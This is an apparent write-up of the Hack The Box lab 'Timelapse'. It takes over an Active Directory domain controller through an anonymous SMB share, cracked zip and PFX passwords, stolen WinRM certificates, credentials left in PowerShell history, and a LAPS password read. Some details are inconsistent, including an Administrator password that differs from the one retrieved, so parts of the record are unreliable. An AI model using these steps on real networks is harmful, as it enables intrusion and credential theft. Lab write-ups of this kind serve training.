Timelapse is an Easy Windows machine, which involves accessing a publicly accessible SMB share that contains a zip file. This zip file requires a password which can be cracked by using John. Extracting the zip file outputs a password encrypted PFX file, which can be cracked with John as well, by converting the PFX file to a hash format readable by John. From the PFX file an SSL certificate and a private key can be extracted, which is used to login to the system over WinRM. After authentication we discover a PowerShell history file containing login credentials for the svc_deploy user. User enumeration shows that svc_deploy is part of a group named LAPS_Readers. The LAPS_Readers group has the ability to manage passwords in LAPS and any user in this group can read the local passwords for machines in the domain. By abusing this trust we retrieve the password for the Administrator and gain a WinRM session
Recon
nmap
mcsuck➜ timelapse ᐅ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49696,62656 -sCV 10.129.227.113
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 18:41 +0300
Nmap scan report for 10.129.227.113
Host is up (0.54s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-26 23:42:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5986/tcp open ssl/wsmans?
|_ssl-date: 2026-04-26T23:44:16+00:00; +7h59m58s from scanner time.
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
| tls-alpn:
| h2
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49696/tcp filtered unknown
62656/tcp filtered unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-26T23:43:39
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h59m57s, deviation: 0s, median: 7h59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 166.98 seconds
Key takeaways from the nmap scan result we can see that 53 (DNS), 88 (Kerberos), 389 (LDAP), and 445 (SMB) open together almost always indicate that this target is a Windows Active Directory Domain Controller.
The domain is identified as timelapse.htb and the hostname is DC01
Before proceeding we are going to add the domain information to the host file
10.129.227.113 dc01.timelapse.htb timelapse.htb
We can also see that WinRM is open on port 5986 but wrapped with TLS which means we can authenticate to it using client certificates which perfectly aligns with finding that PFX file later
Enumeration
SMB port 445
Since Nmap shows port 445 (SMB) is open, our next logical step is to enumerate the SMB service. Its very common for administrators to misconfigure share permissions or leave sensitive files in public or anonymous shares.
We will attempt a null session to list available shares and check if we can read any files that might provide credentials, configuration details, or other sensitive information.
First we check the SMB details with NetExec:
mcsuck➜ timelapse ᐅ nxc smb dc01.timelapse.htb
SMB 10.129.32.41 445 DC01
[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb)
(signing:True) (SMBv1:None) (Null Auth:True)
This confirms that null authentication is true, next would be to list the available shares
mcsuck➜ timelapse ᐅ smbclient -L //dc01.timelapse.htb -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
Initial SMB enumeration using smbclient confirms that a null session is permitted and we are able to list the sharess without providing credentials. while standard administrative shares that end with $ are visible, the most interesting find os a non-standard share named Shares . This share likely contains the data we need to move forward, and our next step is to test if we have read access to it and enumerate its contents
mcsuck➜ timelapse ᐅ smbclient //dc01.timelapse.htb/Shares -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Oct 25 18:39:15 2021
.. D 0 Mon Oct 25 18:39:15 2021
Dev D 0 Mon Oct 25 22:40:06 2021
HelpDesk D 0 Mon Oct 25 18:48:42 2021
6367231 blocks of size 4096. 1335977 blocks available
smb: \>
An ls command reveals two subdirectories: Dev and HelpDesk these directory suggest they might contain sensitive information
smb: \> ls Dev\
. D 0 Mon Oct 25 22:40:06 2021
.. D 0 Mon Oct 25 22:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 18:46:42 2021
6367231 blocks of size 4096. 1334722 blocks available
smb: \> ls HelpDesk\
. D 0 Mon Oct 25 18:48:42 2021
.. D 0 Mon Oct 25 18:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 17:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 17:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 17:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 17:57:44 2021
6367231 blocks of size 4096. 1334722 blocks available
The Dev Directory contains a single file winrm_backup.zip . This file name is a massive “Thanks captain obvious” We already know from NMAP scan the WinRM over TLS is running on port 5986.
The Helpdesk directory is packed with documentation explicitly about Microsoft LAPS. This is critical information: if we gain initial foothold, our privilege escalation path will almost certainly involve abusing LAPS permissions (maybe?)
Based on the direct correlation between the filename winrm_backup.zip and the WinRM service already identified on port 5986, this archive becomes our primary target for initial access.
Initial access
We use SMB’s get caoomand to download the file for offline analysis
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (0.8 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \Dev\>
With the file locally available, we first inspect its contents with unzip to understand what we're dealing with.
milksteak➜ timelapse ᐅ unzip -l winrm_backup.zip
Archive: winrm_backup.zip
Length Date Time Name
--------- ---------- ----- ----
2555 2021-10-25 17:21 legacyy_dev_auth.pfx
--------- -------
2555 1 file
The archive contains a single file with a .pfx extension. A PFX (Personal Information Exchange) filw, defined by the PKCS#12 standard, is a container format used to bundle a private key with its corresponding SSL certificate.
Attempting extraction without a password confirms the archive is protected:
milksteak➜ timelapse ᐅ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
Enters JOHN THE RIPPER!!!!
John the ripper requires the password hash in a specific format. For ZIP files, we use the companion tool zip2john to extract the hash into a format John can process.
milksteak➜ timelapse ᐅ zip2john winrm_backup.zip > zip.hash
Created directory: /home/xi/.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
With the hash extracted, we launch John against the classic rockyou.txt wordlist
milksteak➜ timelapse ᐅ john zip.hash --wordlist=/home/xi/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
milksteak➜ timelapse ᐅ john zip.hash --show
winrm_backup.zip/legacyy_dev_auth.pfx:supremelegacy:legacyy_dev_auth.pfx:winrm_backup.zip::winrm_backup.zip
1 password hash cracked, 0 left
milksteak➜ timelapse ᐅ
John successfully recovers the password: supremelegacy
With the password in hand, we can now extract the contents of the archive using unzip with the -P flag to supply the pasword non-interactive
milksteak➜ timelapse ᐅ unzip -P supremelegacy winrm_backup.zip
Archive: winrm_backup.zip
inflating: legacyy_dev_auth.pfx
With the PFX file extracred, our next step is to examine its contents. The standard tool for parsing PKCS #12 file is openssl . We attempt to extract the certificate and private key without supplying a password, which will quickly confirm whether the file is protected
milksteak➜ timelapse ᐅ openssl pkcs12 -in legacyy_dev_auth.pfx -info -noout
Enter Import Password:
Converting to a crackable format, we can use John the ripper companion tool to extract the hash from PFX file:
milksteak➜ timelapse ᐅ pfx2john legacyy_dev_auth.pfx > pfx.hash
milksteak➜ timelapse ᐅ john pfx.hash --wordlist=/home/xi/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:26 DONE (2026-06-18 23:21) 0.03713g/s 120005p/s 120005c/s 120005C/s thurgkub..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
weird password: thuglegacy
With the PFX passphrase thuglegacy recovered, we can now unlock the container. However, before blindly extracting files, we first investigate what the PFX actually contains. The -info flag with -noout displays the internal structure without writing any files:
milksteak➜ timelapse ᐅ openssl pkcs12 -in legacyy_dev_auth.pfx -info -noout -passin pass:thuglegacy
MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
PKCS7 Data
Shrouded Keybag: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2000
PKCS7 Data
Certificate bag
First lets decrypt the key using the password:
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacy.key -passin pass:thuglegacy
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Then we dump the cert:
milksteak➜ timelapse ᐅ ls legacy*
legacy.key legacyy.crt legacyy_dev_auth.pfx
We authenticate to WinRM using the extracted certificate and private key:
milksteak➜ timelapse ᐅ evil-winrm -i dc01.timelapse.htb -S -c legacyy.crt -k legacy.key
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\Documents>
Horizontal Movement to SVC_DEPLOY
With a foothold as legacyy , our next objective is to locate credentials or misconfiguration that enable further movement.
On Windows, PowerShell’s PSReadline module persists command history to a plaintext file, often capturing sensitive commands and credentials passed directly on the command line. We inspect this file to see what the legacyy user has been doing
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> ls
Directory: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/3/2022 11:46 PM 434 ConsoleHost_history.txt
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat ConsoleHost_history.txt
Enter PEM pass phrase:
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
The file exposes two critical findings: a service account named svc_deploy with the password
E3R$Q62^12p7PLlC%KWaxuaV was used successfully against the domain controller, and the final command queries ms-MCs-AdmPwd the Active Directory attribute the stores LAPS-managed local administrator passwords.
I will connect with evil-winrm with the found creds:
milksteak➜ timelapse ᐅ evil-winrm -i timelapse.htb -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
Shell as system
We now enumerate this user’s group memberships to understand why legacyy was querying LAPS attributes:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy /domain
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/25/2021 12:12:37 PM
Password expires Never
Password changeable 10/26/2021 12:12:37 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/25/2021 12:25:53 PM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
The command completed successfully.
The LAPS_Readers group directly confirms the suspicion raised by legacyy's PowerShell history. This account was specifically granted the ability to read LAPS passwords.
We query the LAPS-managed password for the Domain Controller:
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer -Identity DC01 -Property ms-Mcs-AdmPwd
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-Mcs-AdmPwd : C4%a-7t241+%b&6Ef8@sS2.J
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
The local administrator password for this box is C4%a-7t241+%b&6Ef8@sS2.J.
I will connect with evil-winrm again
milksteak➜ timelapse ᐅ evil-winrm -i dc01.timelapse.htb -S -u Administrator -p 'CNR18o3hF{pba&H6Lo51q0+h'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Timelapse shows how a single mistake, an open SMB share with a forgotten backup file, can unravel an entire domain. That file led to a certificate, the certificate led to a shell, and a PowerShell history file handed over credentials that could read the Administrator password through LAPS. Each step relied on the one before it. Small exposures chain together, and that is what makes them dangerous.
